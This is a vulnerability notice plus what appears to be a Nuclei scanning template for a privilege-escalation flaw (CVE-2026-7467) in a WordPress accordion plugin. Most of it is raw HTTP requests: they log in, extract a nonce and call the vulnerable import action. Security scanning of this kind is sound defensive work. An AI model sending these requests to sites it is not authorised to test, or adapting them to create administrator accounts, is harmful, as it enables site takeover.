The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.
PoC
id: CVE-2026-7467
info:
name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
author: zer0p0int
severity: high
description: |
The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.
impact: |
Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.
remediation: |
Update to the latest version of the Read More & Accordion (expand-maker) plugin.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130
- https://wordpress.org/plugins/expand-maker/
- https://nvd.nist.gov/vuln/detail/CVE-2026-7467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-7467
epss-score: 0.01242
epss-percentile: 0.67688
cwe-id: CWE-269
metadata:
verified: false
max-request: 4
vendor: radmore
product: expand-maker
framework: wordpress
publicwww-query: "/wp-content/plugins/expand-maker/"
tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1
- |
GET /wp-admin/admin.php?page=readMore HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/
matchers:
- type: word
part: body_2
words:
- "yrmBackendData"
- type: word
part: body_3
words:
- '"success":true'
- "Data import successful"
condition: and
extractors:
- type: regex
name: yrm_nonce
group: 1
part: body_2
regex:
- 'yrmBackendData = \{"nonce":"([a-f0-9]+)"'
internal: true
# digest: 490a004630440220130af16b0943874ac97f862003cce83beae8a0cd9e093bb74e72de5ce9265ed20220061a27922314f2cb3f8261587f3720072bb8f7f9afd5e804e74962ce074ecf7b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.